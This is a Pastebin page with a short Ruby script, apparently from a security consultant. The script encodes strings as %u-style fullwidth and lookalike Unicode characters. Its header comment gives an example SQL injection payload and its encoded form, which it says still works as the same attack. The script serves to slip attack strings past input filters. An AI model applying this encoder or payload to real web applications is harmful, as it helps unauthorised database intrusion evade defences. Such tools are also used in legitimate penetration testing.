Advertisement
theboogymaster

unicode-fun.rb

Mar 7th, 2014
145
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Ruby 2.68 KB | None | 0 0
  1. # Ruby Script to generate URL encoded Unicode UTF-8 URL.
  2. # Author: Gary O'leary-Steele of Sec-1 Ltd
  3. # Example:
  4. # The string ' or 1 in (@@version)-- is encoded as and work for the same SQL injection attack
  5. # %u02b9%u0020%uff4f%uff52%u0020%uff11%u0020%uff49%uff4e%u0020%uff08%u0040%u0040%uff56%uff45%uff52%uff53%uff49%uff4f%uff4e%uff09%uff0d%uff0d
  6. #
  7. #
  8.  
  9. require 'uri'
  10. def unicode_url(string)
  11.   lookuptable = Hash.new
  12.   lookuptable ={
  13.     ' ' => '%u0020',
  14.     '/' => '%u2215',
  15.     '\\' => '%u2215',
  16.     "'" => '%u02b9',
  17.     '"' => '%u0022',
  18.     '>' => '%u003e',
  19.     '<' => '%u003c',
  20.     '#' => '%uff03',
  21.     '!' => '%uff01',
  22.     '$' => '%uff04',
  23.     '*' => '%uff0a',
  24.     '@' => '%u0040',
  25.     '.' => '%uff0e',
  26.     '_' => '%uff3f',
  27.     '(' => '%uff08',
  28.     ')' => '%uff09',
  29.     ',' => '%uff0c',
  30.     '%' => '%u0025',
  31.     '-' => '%uff0d',
  32.     ';' => '%uff1b',
  33.     ':' => '%uff1a',
  34.     '|' => '%uff5c',
  35.     '&' => '%uff06',
  36.     '+' => '%uff0b',
  37.     '=' => '%uff1d',
  38.     'a' => '%uff41',
  39.     'A' => '%uff21',
  40.     'b' => '%uff42',
  41.     'B' => '%uff22',
  42.     'c' => '%uff43',
  43.     'C' => '%uff23',
  44.     'd' => '%uff44',
  45.     'D' => '%uff24',
  46.     'e' => '%uff45',
  47.     'E' => '%uff25',
  48.     'f' => '%uff46',
  49.     'F' => '%uff26',
  50.     'g' => '%uff47',
  51.     'G' => '%uff27',
  52.     'h' => '%uff48',
  53.     'H' => '%uff28',
  54.     'i' => '%uff49',
  55.     'I' => '%uff29',
  56.     'j' => '%uff4a',
  57.     'J' => '%uff2a',
  58.     'k' => '%uff4b',
  59.     'K' => '%uff2b',
  60.     'l' => '%uff4c',
  61.     'L' => '%uff2c',
  62.     'm' => '%uff4d',
  63.     'M' => '%uff2d',
  64.     'n' => '%uff4e',
  65.     'N' => '%uff2e',
  66.     'o' => '%uff4f',
  67.     'O' => '%uff2f',
  68.     'p' => '%uff50',
  69.     'P' => '%uff30',
  70.     'q' => '%uff51',
  71.     'Q' => '%uff31',
  72.     'r' => '%uff52',
  73.     'R' => '%uff32',
  74.     's' => '%uff53',
  75.     'S' => '%uff33',
  76.     't' => '%uff54',
  77.     'T' => '%uff34',
  78.     'u' => '%uff55',
  79.     'U' => '%uff35',
  80.     'v' => '%uff56',
  81.     'V' => '%uff36',
  82.     'w' => '%uff57',
  83.     'W' => '%uff37',
  84.     'x' => '%uff58',
  85.     'X' => '%uff38',
  86.     'y' => '%uff59',
  87.     'Y' => '%uff39',
  88.     'z' => '%uff5a',
  89.     'Z' => '%uff3a',
  90.     '0' => '%uff10',
  91.     '1' => '%uff11',
  92.     '2' => '%uff12',
  93.     '3' => '%uff13',
  94.     '4' => '%uff14',
  95.     '5' => '%uff15',
  96.     '6' => '%uff16',
  97.     '7' => '%uff17',
  98.     '8' => '%uff18',
  99.     '9' => '%uff19'}
  100.  
  101.   # Convert string to array of chars
  102.   chararray = string.scan(/./)
  103.   newstr = String.new
  104.   chararray.each do |c|
  105.           if lookuptable.has_key? c
  106.                   newstr = newstr + lookuptable[c]
  107.           else
  108.                   newstr = newstr + URI.escape(c)
  109.           end
  110.   end
  111.  
  112.   return newstr
  113. end
  114.  
  115. print "Enter string to URL Unicode:"
  116. puts unicode_url(gets)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement